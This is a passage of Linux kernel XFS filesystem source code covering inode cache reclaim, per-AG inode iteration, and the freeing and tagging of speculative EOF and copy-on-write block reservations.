(radix_tree_tagged(&mp->m_perag_tree, XFS_ICI_COWBLOCKS_TAG))\n\t\tqueue_delayed_work(mp->m_eofblocks_workqueue,\n\t\t\t\t &mp->m_cowblocks_work,\n\t\t\t\t msecs_to_jiffies(xfs_cowb_secs * 1000));\n\trcu_read_unlock();\n}\n\nvoid\nxfs_cowblocks_worker(\n\tstruct work_struct *work)\n{\n\tstruct xfs_mount *mp = container_of(to_delayed_work(work),\n\t\t\t\tstruct xfs_mount, m_cowblocks_work);\n\txfs_icache_free_cowblocks(mp, NULL);\n\txfs_queue_cowblocks(mp);\n}\n\nint\nxfs_inode_ag_iterator(\n\tstruct xfs_mount\t*mp,\n\tint\t\t\t(*execute)(struct xfs_inode *ip, int flags,\n\t\t\t\t\t void *args),\n\tint\t\t\tflags,\n\tvoid\t\t\t*args)\n{\n\tstruct xfs_perag\t*pag;\n\tint\t\t\terror = 0;\n\tint\t\t\tlast_error = 0;\n\txfs_agnumber_t\t\tag;\n\n\tag = 0;\n\twhile ((pag = xfs_perag_get(mp, ag))) {\n\t\tag = pag->pag_agno + 1;\n\t\terror = xfs_inode_ag_walk(mp, pag, execute, flags, args, -1);\n\t\txfs_perag_put(pag);\n\t\tif (error) {\n\t\t\tlast_error = error;\n\t\t\tif (error == -EFSCORRUPTED)\n\t\t\t\tbreak;\n\t\t}\n\t}\n\treturn last_error;\n}\n\nint\nxfs_inode_ag_iterator_tag(\n\tstruct xfs_mount\t*mp,\n\tint\t\t\t(*execute)(struct xfs_inode *ip, int flags,\n\t\t\t\t\t void *args),\n\tint\t\t\tflags,\n\tvoid\t\t\t*args,\n\tint\t\t\ttag)\n{\n\tstruct xfs_perag\t*pag;\n\tint\t\t\terror = 0;\n\tint\t\t\tlast_error = 0;\n\txfs_agnumber_t\t\tag;\n\n\tag = 0;\n\twhile ((pag = xfs_perag_get_tag(mp, ag, tag))) {\n\t\tag = pag->pag_agno + 1;\n\t\terror = xfs_inode_ag_walk(mp, pag, execute, flags, args, tag);\n\t\txfs_perag_put(pag);\n\t\tif (error) {\n\t\t\tlast_error = error;\n\t\t\tif (error == -EFSCORRUPTED)\n\t\t\t\tbreak;\n\t\t}\n\t}\n\treturn last_error;\n}\n\n/*\n * Grab the inode for reclaim exclusively.\n * Return 0 if we grabbed it, non-zero otherwise.\n */\nSTATIC int\nxfs_reclaim_inode_grab(\n\tstruct xfs_inode\t*ip,\n\tint\t\t\tflags)\n{\n\tASSERT(rcu_read_lock_held());\n\n\t/* quick check for stale RCU freed inode */\n\tif (!ip->i_ino)\n\t\treturn 1;\n\n\t/*\n\t * If we are asked for non-blocking operation, do unlocked checks to\n\t * see if the inode already is being flushed or in reclaim to avoid\n\t * lock traffic.\n\t */\n\tif ((flags & SYNC_TRYLOCK) &&\n\t __xfs_iflags_test(ip, XFS_IFLOCK | XFS_IRECLAIM))\n\t\treturn 1;\n\n\t/*\n\t * The radix tree lock here protects a thread in xfs_iget from racing\n\t * with us starting reclaim on the inode. Once we have the\n\t * XFS_IRECLAIM flag set it will not touch us.\n\t *\n\t * Due to RCU lookup, we may find inodes that have been freed and only\n\t * have XFS_IRECLAIM set. Indeed, we may see reallocated inodes that\n\t * aren't candidates for reclaim at all, so we must check the\n\t * XFS_IRECLAIMABLE is set first before proceeding to reclaim.\n\t */\n\tspin_lock(&ip->i_flags_lock);\n\tif (!__xfs_iflags_test(ip, XFS_IRECLAIMABLE) ||\n\t __xfs_iflags_test(ip, XFS_IRECLAIM)) {\n\t\t/* not a reclaim candidate. */\n\t\tspin_unlock(&ip->i_flags_lock);\n\t\treturn 1;\n\t}\n\t__xfs_iflags_set(ip, XFS_IRECLAIM);\n\tspin_unlock(&ip->i_flags_lock);\n\treturn 0;\n}\n\n/*\n * Inodes in different states need to be treated differently. The following\n * table lists the inode states and the reclaim actions necessary:\n *\n *\tinode state\t iflush ret\t\trequired action\n * --------------- ---------- ---------------\n *\tbad\t\t\t-\t\treclaim\n *\tshutdown\t\tEIO\t\tunpin and reclaim\n *\tclean, unpinned\t\t0\t\treclaim\n *\tstale, unpinned\t\t0\t\treclaim\n *\tclean, pinned(*)\t0\t\trequeue\n *\tstale, pinned\t\tEAGAIN\t\trequeue\n *\tdirty, async\t\t-\t\trequeue\n *\tdirty, sync\t\t0\t\treclaim\n *\n * (*) dgc: I don't think the clean, pinned state is possible but it gets\n * handled anyway given the order of checks implemented.\n *\n * Also, because we get the flush lock first, we know that any inode that has\n * been flushed delwri has had the flush completed by the time we check that\n * the inode is clean.\n *\n * Note that because the inode is flushed delayed write by AIL pushing, the\n * flush lock may already be held here and waiting on it can result in very\n * long latencies. Hence for sync reclaims, where we wait on the flush lock,\n * the caller should push the AIL first before trying to reclaim inodes to\n * minimise the amount of time spent waiting. For background relaim, we only\n * bother to reclaim clean inodes anyway.\n *\n * Hence the order of actions after gaining the locks should be:\n *\tbad\t\t=> reclaim\n *\tshutdown\t=> unpin and reclaim\n *\tpinned, async\t=> requeue\n *\tpinned, sync\t=> unpin\n *\tstale\t\t=> reclaim\n *\tclean\t\t=> reclaim\n *\tdirty, async\t=> requeue\n *\tdirty, sync\t=> flush, wait and reclaim\n */\nSTATIC int\nxfs_reclaim_inode(\n\tstruct xfs_inode\t*ip,\n\tstruct xfs_perag\t*pag,\n\tint\t\t\tsync_mode)\n{\n\tstruct xfs_buf\t\t*bp = NULL;\n\txfs_ino_t\t\tino = ip->i_ino; /* for radix_tree_delete */\n\tint\t\t\terror;\n\nrestart:\n\terror = 0;\n\txfs_ilock(ip, XFS_ILOCK_EXCL);\n\tif (!xfs_iflock_nowait(ip)) {\n\t\tif (!(sync_mode & SYNC_WAIT))\n\t\t\tgoto out;\n\t\txfs_iflock(ip);\n\t}\n\n\tif (XFS_FORCED_SHUTDOWN(ip->i_mount)) {\n\t\txfs_iunpin_wait(ip);\n\t\t/* xfs_iflush_abort() drops the flush lock */\n\t\txfs_iflush_abort(ip, false);\n\t\tgoto reclaim;\n\t}\n\tif (xfs_ipincount(ip)) {\n\t\tif (!(sync_mode & SYNC_WAIT))\n\t\t\tgoto out_ifunlock;\n\t\txfs_iunpin_wait(ip);\n\t}\n\tif (xfs_iflags_test(ip, XFS_ISTALE) || xfs_inode_clean(ip)) {\n\t\txfs_ifunlock(ip);\n\t\tgoto reclaim;\n\t}\n\n\t/*\n\t * Never flush out dirty data during non-blocking reclaim, as it would\n\t * just contend with AIL pushing trying to do the same job.\n\t */\n\tif (!(sync_mode & SYNC_WAIT))\n\t\tgoto out_ifunlock;\n\n\t/*\n\t * Now we have an inode that needs flushing.\n\t *\n\t * Note that xfs_iflush will never block on the inode buffer lock, as\n\t * xfs_ifree_cluster() can lock the inode buffer before it locks the\n\t * ip->i_lock, and we are doing the exact opposite here. As a result,\n\t * doing a blocking xfs_imap_to_bp() to get the cluster buffer would\n\t * result in an ABBA deadlock with xfs_ifree_cluster().\n\t *\n\t * As xfs_ifree_cluser() must gather all inodes that are active in the\n\t * cache to mark them stale, if we hit this case we don't actually want\n\t * to do IO here - we want the inode marked stale so we can simply\n\t * reclaim it. Hence if we get an EAGAIN error here, just unlock the\n\t * inode, back off and try again. Hopefully the next pass through will\n\t * see the stale flag set on the inode.\n\t */\n\terror = xfs_iflush(ip, &bp);\n\tif (error == -EAGAIN) {\n\t\txfs_iunlock(ip, XFS_ILOCK_EXCL);\n\t\t/* backoff longer than in xfs_ifree_cluster */\n\t\tdelay(2);\n\t\tgoto restart;\n\t}\n\n\tif (!error) {\n\t\terror = xfs_bwrite(bp);\n\t\txfs_buf_relse(bp);\n\t}\n\nreclaim:\n\tASSERT(!xfs_isiflocked(ip));\n\n\t/*\n\t * Because we use RCU freeing we need to ensure the inode always appears\n\t * to be reclaimed with an invalid inode number when in the free state.\n\t * We do this as early as possible under the ILOCK so that\n\t * xfs_iflush_cluster() can be guaranteed to detect races with us here.\n\t * By doing this, we guarantee that once xfs_iflush_cluster has locked\n\t * XFS_ILOCK that it will see either a valid, flushable inode that will\n\t * serialise correctly, or it will see a clean (and invalid) inode that\n\t * it can skip.\n\t */\n\tspin_lock(&ip->i_flags_lock);\n\tip->i_flags = XFS_IRECLAIM;\n\tip->i_ino = 0;\n\tspin_unlock(&ip->i_flags_lock);\n\n\txfs_iunlock(ip, XFS_ILOCK_EXCL);\n\n\tXFS_STATS_INC(ip->i_mount, xs_ig_reclaims);\n\t/*\n\t * Remove the inode from the per-AG radix tree.\n\t *\n\t * Because radix_tree_delete won't complain even if the item was never\n\t * added to the tree assert that it's been there before to catch\n\t * problems with the inode life time early on.\n\t */\n\tspin_lock(&pag->pag_ici_lock);\n\tif (!radix_tree_delete(&pag->pag_ici_root,\n\t\t\t\tXFS_INO_TO_AGINO(ip->i_mount, ino)))\n\t\tASSERT(0);\n\txfs_perag_clear_reclaim_tag(pag);\n\tspin_unlock(&pag->pag_ici_lock);\n\n\t/*\n\t * Here we do an (almost) spurious inode lock in order to coordinate\n\t * with inode cache radix tree lookups. This is because the lookup\n\t * can reference the inodes in the cache without taking references.\n\t *\n\t * We make that OK here by ensuring that we wait until the inode is\n\t * unlocked after the lookup before we go ahead and free it.\n\t */\n\txfs_ilock(ip, XFS_ILOCK_EXCL);\n\txfs_qm_dqdetach(ip);\n\txfs_iunlock(ip, XFS_ILOCK_EXCL);\n\n\t__xfs_inode_free(ip);\n\treturn error;\n\nout_ifunlock:\n\txfs_ifunlock(ip);\nout:\n\txfs_iflags_clear(ip, XFS_IRECLAIM);\n\txfs_iunlock(ip, XFS_ILOCK_EXCL);\n\t/*\n\t * We could return -EAGAIN here to make reclaim rescan the inode tree in\n\t * a short while. However, this just burns CPU time scanning the tree\n\t * waiting for IO to complete and the reclaim work never goes back to\n\t * the idle state. Instead, return 0 to let the next scheduled\n\t * background reclaim attempt to reclaim the inode again.\n\t */\n\treturn 0;\n}\n\n/*\n * Walk the AGs and reclaim the inodes in them. Even if the filesystem is\n * corrupted, we still want to try to reclaim all the inodes. If we don't,\n * then a shut down during filesystem unmount reclaim walk leak all the\n * unreclaimed inodes.\n */\nSTATIC int\nxfs_reclaim_inodes_ag(\n\tstruct xfs_mount\t*mp,\n\tint\t\t\tflags,\n\tint\t\t\t*nr_to_scan)\n{\n\tstruct xfs_perag\t*pag;\n\tint\t\t\terror = 0;\n\tint\t\t\tlast_error = 0;\n\txfs_agnumber_t\t\tag;\n\tint\t\t\ttrylock = flags & SYNC_TRYLOCK;\n\tint\t\t\tskipped;\n\nrestart:\n\tag = 0;\n\tskipped = 0;\n\twhile ((pag = xfs_perag_get_tag(mp, ag, XFS_ICI_RECLAIM_TAG))) {\n\t\tunsigned long\tfirst_index = 0;\n\t\tint\t\tdone = 0;\n\t\tint\t\tnr_found = 0;\n\n\t\tag = pag->pag_agno + 1;\n\n\t\tif (trylock) {\n\t\t\tif (!mutex_trylock(&pag->pag_ici_reclaim_lock)) {\n\t\t\t\tskipped++;\n\t\t\t\txfs_perag_put(pag);\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tfirst_index = pag->pag_ici_reclaim_cursor;\n\t\t} else\n\t\t\tmutex_lock(&pag->pag_ici_reclaim_lock);\n\n\t\tdo {\n\t\t\tstruct xfs_inode *batch[XFS_LOOKUP_BATCH];\n\t\t\tint\ti;\n\n\t\t\trcu_read_lock();\n\t\t\tnr_found = radix_tree_gang_lookup_tag(\n\t\t\t\t\t&pag->pag_ici_root,\n\t\t\t\t\t(void **)batch, first_index,\n\t\t\t\t\tXFS_LOOKUP_BATCH,\n\t\t\t\t\tXFS_ICI_RECLAIM_TAG);\n\t\t\tif (!nr_found) {\n\t\t\t\tdone = 1;\n\t\t\t\trcu_read_unlock();\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\t/*\n\t\t\t * Grab the inodes before we drop the lock. if we found\n\t\t\t * nothing, nr == 0 and the loop will be skipped.\n\t\t\t */\n\t\t\tfor (i = 0; i < nr_found; i++) {\n\t\t\t\tstruct xfs_inode *ip = batch[i];\n\n\t\t\t\tif (done || xfs_reclaim_inode_grab(ip, flags))\n\t\t\t\t\tbatch[i] = NULL;\n\n\t\t\t\t/*\n\t\t\t\t * Update the index for the next lookup. Catch\n\t\t\t\t * overflows into the next AG range which can\n\t\t\t\t * occur if we have inodes in the last block of\n\t\t\t\t * the AG and we are currently pointing to the\n\t\t\t\t * last inode.\n\t\t\t\t *\n\t\t\t\t * Because we may see inodes that are from the\n\t\t\t\t * wrong AG due to RCU freeing and\n\t\t\t\t * reallocation, only update the index if it\n\t\t\t\t * lies in this AG. It was a race that lead us\n\t\t\t\t * to see this inode, so another lookup from\n\t\t\t\t * the same index will not find it again.\n\t\t\t\t */\n\t\t\t\tif (XFS_INO_TO_AGNO(mp, ip->i_ino) !=\n\t\t\t\t\t\t\t\tpag->pag_agno)\n\t\t\t\t\tcontinue;\n\t\t\t\tfirst_index = XFS_INO_TO_AGINO(mp, ip->i_ino + 1);\n\t\t\t\tif (first_index < XFS_INO_TO_AGINO(mp, ip->i_ino))\n\t\t\t\t\tdone = 1;\n\t\t\t}\n\n\t\t\t/* unlock now we've grabbed the inodes. */\n\t\t\trcu_read_unlock();\n\n\t\t\tfor (i = 0; i < nr_found; i++) {\n\t\t\t\tif (!batch[i])\n\t\t\t\t\tcontinue;\n\t\t\t\terror = xfs_reclaim_inode(batch[i], pag, flags);\n\t\t\t\tif (error && last_error != -EFSCORRUPTED)\n\t\t\t\t\tlast_error = error;\n\t\t\t}\n\n\t\t\t*nr_to_scan -= XFS_LOOKUP_BATCH;\n\n\t\t\tcond_resched();\n\n\t\t} while (nr_found && !done && *nr_to_scan > 0);\n\n\t\tif (trylock && !done)\n\t\t\tpag->pag_ici_reclaim_cursor = first_index;\n\t\telse\n\t\t\tpag->pag_ici_reclaim_cursor = 0;\n\t\tmutex_unlock(&pag->pag_ici_reclaim_lock);\n\t\txfs_perag_put(pag);\n\t}\n\n\t/*\n\t * if we skipped any AG, and we still have scan count remaining, do\n\t * another pass this time using blocking reclaim semantics (i.e\n\t * waiting on the reclaim locks and ignoring the reclaim cursors). This\n\t * ensure that when we get more reclaimers than AGs we block rather\n\t * than spin trying to execute reclaim.\n\t */\n\tif (skipped && (flags & SYNC_WAIT) && *nr_to_scan > 0) {\n\t\ttrylock = 0;\n\t\tgoto restart;\n\t}\n\treturn last_error;\n}\n\nint\nxfs_reclaim_inodes(\n\txfs_mount_t\t*mp,\n\tint\t\tmode)\n{\n\tint\t\tnr_to_scan = INT_MAX;\n\n\treturn xfs_reclaim_inodes_ag(mp, mode, &nr_to_scan);\n}\n\n/*\n * Scan a certain number of inodes for reclaim.\n *\n * When called we make sure that there is a background (fast) inode reclaim in\n * progress, while we will throttle the speed of reclaim via doing synchronous\n * reclaim of inodes. That means if we come across dirty inodes, we wait for\n * them to be cleaned, which we hope will not be very long due to the\n * background walker having already kicked the IO off on those dirty inodes.\n */\nlong\nxfs_reclaim_inodes_nr(\n\tstruct xfs_mount\t*mp,\n\tint\t\t\tnr_to_scan)\n{\n\t/* kick background reclaimer and push the AIL */\n\txfs_reclaim_work_queue(mp);\n\txfs_ail_push_all(mp->m_ail);\n\n\treturn xfs_reclaim_inodes_ag(mp, SYNC_TRYLOCK | SYNC_WAIT, &nr_to_scan);\n}\n\n/*\n * Return the number of reclaimable inodes in the filesystem for\n * the shrinker to determine how much to reclaim.\n */\nint\nxfs_reclaim_inodes_count(\n\tstruct xfs_mount\t*mp)\n{\n\tstruct xfs_perag\t*pag;\n\txfs_agnumber_t\t\tag = 0;\n\tint\t\t\treclaimable = 0;\n\n\twhile ((pag = xfs_perag_get_tag(mp, ag, XFS_ICI_RECLAIM_TAG))) {\n\t\tag = pag->pag_agno + 1;\n\t\treclaimable += pag->pag_ici_reclaimable;\n\t\txfs_perag_put(pag);\n\t}\n\treturn reclaimable;\n}\n\nSTATIC int\nxfs_inode_match_id(\n\tstruct xfs_inode\t*ip,\n\tstruct xfs_eofblocks\t*eofb)\n{\n\tif ((eofb->eof_flags & XFS_EOF_FLAGS_UID) &&\n\t !uid_eq(VFS_I(ip)->i_uid, eofb->eof_uid))\n\t\treturn 0;\n\n\tif ((eofb->eof_flags & XFS_EOF_FLAGS_GID) &&\n\t !gid_eq(VFS_I(ip)->i_gid, eofb->eof_gid))\n\t\treturn 0;\n\n\tif ((eofb->eof_flags & XFS_EOF_FLAGS_PRID) &&\n\t xfs_get_projid(ip) != eofb->eof_prid)\n\t\treturn 0;\n\n\treturn 1;\n}\n\n/*\n * A union-based inode filtering algorithm. Process the inode if any of the\n * criteria match. This is for global/internal scans only.\n */\nSTATIC int\nxfs_inode_match_id_union(\n\tstruct xfs_inode\t*ip,\n\tstruct xfs_eofblocks\t*eofb)\n{\n\tif ((eofb->eof_flags & XFS_EOF_FLAGS_UID) &&\n\t uid_eq(VFS_I(ip)->i_uid, eofb->eof_uid))\n\t\treturn 1;\n\n\tif ((eofb->eof_flags & XFS_EOF_FLAGS_GID) &&\n\t gid_eq(VFS_I(ip)->i_gid, eofb->eof_gid))\n\t\treturn 1;\n\n\tif ((eofb->eof_flags & XFS_EOF_FLAGS_PRID) &&\n\t xfs_get_projid(ip) == eofb->eof_prid)\n\t\treturn 1;\n\n\treturn 0;\n}\n\nSTATIC int\nxfs_inode_free_eofblocks(\n\tstruct xfs_inode\t*ip,\n\tint\t\t\tflags,\n\tvoid\t\t\t*args)\n{\n\tint ret;\n\tstruct xfs_eofblocks *eofb = args;\n\tbool need_iolock = true;\n\tint match;\n\n\tASSERT(!eofb || (eofb && eofb->eof_scan_owner != 0));\n\n\tif (!xfs_can_free_eofblocks(ip, false)) {\n\t\t/* inode could be preallocated or append-only */\n\t\ttrace_xfs_inode_free_eofblocks_invalid(ip);\n\t\txfs_inode_clear_eofblocks_tag(ip);\n\t\treturn 0;\n\t}\n\n\t/*\n\t * If the mapping is dirty the operation can block and wait for some\n\t * time. Unless we are waiting, skip it.\n\t */\n\tif (!(flags & SYNC_WAIT) &&\n\t mapping_tagged(VFS_I(ip)->i_mapping, PAGECACHE_TAG_DIRTY))\n\t\treturn 0;\n\n\tif (eofb) {\n\t\tif (eofb->eof_flags & XFS_EOF_FLAGS_UNION)\n\t\t\tmatch = xfs_inode_match_id_union(ip, eofb);\n\t\telse\n\t\t\tmatch = xfs_inode_match_id(ip, eofb);\n\t\tif (!match)\n\t\t\treturn 0;\n\n\t\t/* skip the inode if the file size is too small */\n\t\tif (eofb->eof_flags & XFS_EOF_FLAGS_MINFILESIZE &&\n\t\t XFS_ISIZE(ip) < eofb->eof_min_file_size)\n\t\t\treturn 0;\n\n\t\t/*\n\t\t * A scan owner implies we already hold the iolock. Skip it in\n\t\t * xfs_free_eofblocks() to avoid deadlock. This also eliminates\n\t\t * the possibility of EAGAIN being returned.\n\t\t */\n\t\tif (eofb->eof_scan_owner == ip->i_ino)\n\t\t\tneed_iolock = false;\n\t}\n\n\tret = xfs_free_eofblocks(ip->i_mount, ip, need_iolock);\n\n\t/* don't revisit the inode if we're not waiting */\n\tif (ret == -EAGAIN && !(flags & SYNC_WAIT))\n\t\tret = 0;\n\n\treturn ret;\n}\n\nstatic int\n__xfs_icache_free_eofblocks(\n\tstruct xfs_mount\t*mp,\n\tstruct xfs_eofblocks\t*eofb,\n\tint\t\t\t(*execute)(struct xfs_inode *ip, int flags,\n\t\t\t\t\t void *args),\n\tint\t\t\ttag)\n{\n\tint flags = SYNC_TRYLOCK;\n\n\tif (eofb && (eofb->eof_flags & XFS_EOF_FLAGS_SYNC))\n\t\tflags = SYNC_WAIT;\n\n\treturn xfs_inode_ag_iterator_tag(mp, execute, flags,\n\t\t\t\t\t eofb, tag);\n}\n\nint\nxfs_icache_free_eofblocks(\n\tstruct xfs_mount\t*mp,\n\tstruct xfs_eofblocks\t*eofb)\n{\n\treturn __xfs_icache_free_eofblocks(mp, eofb, xfs_inode_free_eofblocks,\n\t\t\tXFS_ICI_EOFBLOCKS_TAG);\n}\n\n/*\n * Run eofblocks scans on the quotas applicable to the inode. For inodes with\n * multiple quotas, we don't know exactly which quota caused an allocation\n * failure. We make a best effort by including each quota under low free space\n * conditions (less than 1% free space) in the scan.\n */\nstatic int\n__xfs_inode_free_quota_eofblocks(\n\tstruct xfs_inode\t*ip,\n\tint\t\t\t(*execute)(struct xfs_mount *mp,\n\t\t\t\t\t struct xfs_eofblocks\t*eofb))\n{\n\tint scan = 0;\n\tstruct xfs_eofblocks eofb = {0};\n\tstruct xfs_dquot *dq;\n\n\tASSERT(xfs_isilocked(ip, XFS_IOLOCK_EXCL));\n\n\t/*\n\t * Set the scan owner to avoid a potential livelock. Otherwise, the scan\n\t * can repeatedly trylock on the inode we're currently processing. We\n\t * run a sync scan to increase effectiveness and use the union filter to\n\t * cover all applicable quotas in a single scan.\n\t */\n\teofb.eof_scan_owner = ip->i_ino;\n\teofb.eof_flags = XFS_EOF_FLAGS_UNION|XFS_EOF_FLAGS_SYNC;\n\n\tif (XFS_IS_UQUOTA_ENFORCED(ip->i_mount)) {\n\t\tdq = xfs_inode_dquot(ip, XFS_DQ_USER);\n\t\tif (dq && xfs_dquot_lowsp(dq)) {\n\t\t\teofb.eof_uid = VFS_I(ip)->i_uid;\n\t\t\teofb.eof_flags |= XFS_EOF_FLAGS_UID;\n\t\t\tscan = 1;\n\t\t}\n\t}\n\n\tif (XFS_IS_GQUOTA_ENFORCED(ip->i_mount)) {\n\t\tdq = xfs_inode_dquot(ip, XFS_DQ_GROUP);\n\t\tif (dq && xfs_dquot_lowsp(dq)) {\n\t\t\teofb.eof_gid = VFS_I(ip)->i_gid;\n\t\t\teofb.eof_flags |= XFS_EOF_FLAGS_GID;\n\t\t\tscan = 1;\n\t\t}\n\t}\n\n\tif (scan)\n\t\texecute(ip->i_mount, &eofb);\n\n\treturn scan;\n}\n\nint\nxfs_inode_free_quota_eofblocks(\n\tstruct xfs_inode *ip)\n{\n\treturn __xfs_inode_free_quota_eofblocks(ip, xfs_icache_free_eofblocks);\n}\n\nstatic void\n__xfs_inode_set_eofblocks_tag(\n\txfs_inode_t\t*ip,\n\tvoid\t\t(*execute)(struct xfs_mount *mp),\n\tvoid\t\t(*set_tp)(struct xfs_mount *mp, xfs_agnumber_t agno,\n\t\t\t\t int error, unsigned long caller_ip),\n\tint\t\ttag)\n{\n\tstruct xfs_mount *mp = ip->i_mount;\n\tstruct xfs_perag *pag;\n\tint tagged;\n\n\t/*\n\t * Don't bother locking the AG and looking up in the radix trees\n\t * if we already know that we have the tag set.\n\t */\n\tif (ip->i_flags & XFS_IEOFBLOCKS)\n\t\treturn;\n\tspin_lock(&ip->i_flags_lock);\n\tip->i_flags |= XFS_IEOFBLOCKS;\n\tspin_unlock(&ip->i_flags_lock);\n\n\tpag = xfs_perag_get(mp, XFS_INO_TO_AGNO(mp, ip->i_ino));\n\tspin_lock(&pag->pag_ici_lock);\n\n\ttagged = radix_tree_tagged(&pag->pag_ici_root, tag);\n\tradix_tree_tag_set(&pag->pag_ici_root,\n\t\t\t XFS_INO_TO_AGINO(ip->i_mount, ip->i_ino), tag);\n\tif (!tagged) {\n\t\t/* propagate the eofblocks tag up into the perag radix tree */\n\t\tspin_lock(&ip->i_mount->m_perag_lock);\n\t\tradix_tree_tag_set(&ip->i_mount->m_perag_tree,\n\t\t\t\t XFS_INO_TO_AGNO(ip->i_mount, ip->i_ino),\n\t\t\t\t tag);\n\t\tspin_unlock(&ip->i_mount->m_perag_lock);\n\n\t\t/* kick off background trimming */\n\t\texecute(ip->i_mount);\n\n\t\tset_tp(ip->i_mount, pag->pag_agno, -1, _RET_IP_);\n\t}\n\n\tspin_unlock(&pag->pag_ici_lock);\n\txfs_perag_put(pag);\n}\n\nvoid\nxfs_inode_set_eofblocks_tag(\n\txfs_inode_t\t*ip)\n{\n\ttrace_xfs_inode_set_eofblocks_tag(ip);\n\treturn __xfs_inode_set_eofblocks_tag(ip, xfs_queue_eofblocks,\n\t\t\ttrace_xfs_perag_set_eofblocks,\n\t\t\tXFS_ICI_EOFBLOCKS_TAG);\n}\n\nstatic void\n__xfs_inode_clear_eofblocks_tag(\n\txfs_inode_t\t*ip,\n\tvoid\t\t(*clear_tp)(struct xfs_mount *mp, xfs_agnumber_t agno,\n\t\t\t\t int error, unsigned long caller_ip),\n\tint\t\ttag)\n{\n\tstruct xfs_mount *mp = ip->i_mount;\n\tstruct xfs_perag *pag;\n\n\tspin_lock(&ip->i_flags_lock);\n\tip->i_flags &= ~XFS_IEOFBLOCKS;\n\tspin_unlock(&ip->i_flags_lock);\n\n\tpag = xfs_perag_get(mp, XFS_INO_TO_AGNO(mp, ip->i_ino));\n\tspin_lock(&pag->pag_ici_lock);\n\n\tradix_tree_tag_clear(&pag->pag_ici_root,\n\t\t\t XFS_INO_TO_AGINO(ip->i_mount, ip->i_ino), tag);\n\tif (!radix_tree_tagged(&pag->pag_ici_root, tag)) {\n\t\t/* clear the eofblocks tag from the perag radix tree */\n\t\tspin_lock(&ip->i_mount->m_perag_lock);\n\t\tradix_tree_tag_clear(&ip->i_mount->m_perag_tree,\n\t\t\t\t XFS_INO_TO_AGNO(ip->i_mount, ip->i_ino),\n\t\t\t\t tag);\n\t\tspin_unlock(&ip->i_mount->m_perag_lock);\n\t\tclear_tp(ip->i_mount, pag->pag_agno, -1, _RET_IP_);\n\t}\n\n\tspin_unlock(&pag->pag_ici_lock);\n\txfs_perag_put(pag);\n}\n\nvoid\nxfs_inode_clear_eofblocks_tag(\n\txfs_inode_t\t*ip)\n{\n\ttrace_xfs_inode_clear_eofblocks_tag(ip);\n\treturn __xfs_inode_clear_eofblocks_tag(ip,\n\t\t\ttrace_xfs_perag_clear_eofblocks, XFS_ICI_EOFBLOCKS_TAG);\n}\n\n/*\n * Automatic CoW Reservation Freeing\n *\n * These functions automatically garbage collect leftover CoW reservations\n * that were made on behalf of a cowextsize hint when we start to run out\n * of quota or when the reservations sit around for too long. If the file\n * has dirty pages or is undergoing writeback, its CoW reservations will\n * be retained.\n *\n * The actual garbage collection piggybacks off the same code that runs\n * the speculative EOF preallocation garbage collector.\n */\nSTATIC int\nxfs_inode_free_cowblocks(\n\tstruct xfs_inode\t*ip,\n\tint\t\t\tflags,\n\tvoid\t\t\t*args)\n{\n\tint ret;\n\tstruct xfs_eofblocks *eofb = args;\n\tbool need_iolock = true;\n\tint match;\n\tstruct xfs_ifork\t*ifp = XFS_IFORK_PTR(ip, XFS_COW_FORK);\n\n\tASSERT(!eofb || (eofb && eofb->eof_scan_owner != 0));\n\n\t/*\n\t * Just clear the tag if we have an empty cow fork or none at all. It's\n\t * possible the inode was fully unshared since it was originally tagged.\n\t */\n\tif (!xfs_is_reflink_inode(ip) || !ifp->if_bytes) {\n\t\ttrace_xfs_inode_free_cowblocks_invalid(ip);\n\t\txfs_inode_clear_cowblocks_tag(ip);\n\t\treturn 0;\n\t}\n\n\t/*\n\t * If the mapping is dirty or under writeback we cannot touch the\n\t * CoW fork. Leave it alone if we're in the midst of a directio.\n\t */\n\tif ((VFS_I(ip)->i_state & I_DIRTY_PAGES) ||\n\t mapping_tagged(VFS_I(ip)->i_mapping, PAGECACHE_TAG_DIRTY) ||\n\t mapping_tagged(VFS_I(ip)->i_mapping, PAGECACHE_TAG_WRITEBACK) ||\n\t atomic_read(&VFS_I(ip)->i_dio_count))\n\t\treturn 0;\n\n\tif (eofb) {\n\t\tif (eofb->eof_flags & XFS_EOF_FLAGS_UNION)\n\t\t\tmatch = xfs_inode_match_id_union(ip, eofb);\n\t\telse\n\t\t\tmatch = xfs_inode_match_id(ip, eofb);\n\t\tif (!match)\n\t\t\treturn 0;\n\n\t\t/* skip the inode if the file size is too small */\n\t\tif (eofb->eof_flags & XFS_EOF_FLAGS_MINFILESIZE &&\n\t\t XFS_ISIZE(ip) < eofb->eof_min_file_size)\n\t\t\treturn 0;\n\n\t\t/*\n\t\t * A scan owner implies we already hold the iolock. Skip it in\n\t\t * xfs_free_eofblocks() to avoid deadlock. This also eliminates\n\t\t * the possibility of EAGAIN being returned.\n\t\t */\n\t\tif (eofb->eof_scan_owner == ip->i_ino)\n\t\t\tneed_iolock = false;\n\t}\n\n\t/* Free the CoW blocks */\n\tif (need_iolock) {\n\t\txfs_ilock(ip, XFS_IOLOCK_EXCL);\n\t\txfs_ilock(ip, XFS_MMAPLOCK_EXCL);\n\t}\n\n\tret = xfs_reflink_cancel_cow_range(ip, 0, NULLFILEOFF);\n\n\tif (need_iolock) {\n\t\txfs_iunlock(ip, XFS_MMAPLOCK_EXCL);\n\t\txfs_iunlock(ip, XFS_IOLOCK_EXCL);\n\t}\n\n\treturn ret;\n}\n\nint\nxfs_icache_free_cowblocks(\n\tstruct xfs_mount\t*mp,\n\tstruct xfs_eofblocks\t*eofb)\n{\n\treturn __xfs_icache_free_eofblocks(mp, eofb, xfs_inode_free_cowblocks,\n\t\t\tXFS_ICI_COWBLOCKS_TAG);\n}\n\nint\nxfs_inode_free_quota_cowblocks(\n\tstruct xfs_inode *ip)\n{\n\treturn __xfs_inode_free_quota_eofblocks(ip, xfs_icache_free_cowblocks);\n}\n\nvoid\nxfs_inode_set_cowblocks_tag(\n\txfs_inode_t\t*ip)\n{\n\ttrace_xfs_inode_set_cowblocks_tag(ip);\n\treturn __xfs_inode_set_eofblocks_tag(ip, xfs_queue_cowblocks,\n\t\t\ttrace_xfs_perag_set_cowblocks,\n\t\t\tXFS_ICI_COWBLOCKS_TAG);\n}\n\nvoid\nxfs_inode_clear_cowblocks_tag(\n\txfs_inode_t\t*ip)\n{\n\ttrace_xfs_inode_clear_cowblocks_tag(ip);\n\treturn __xfs_inode_clear_eofblocks_tag(ip,\n\t\t\ttrace_xfs_perag_clear_cowblocks, 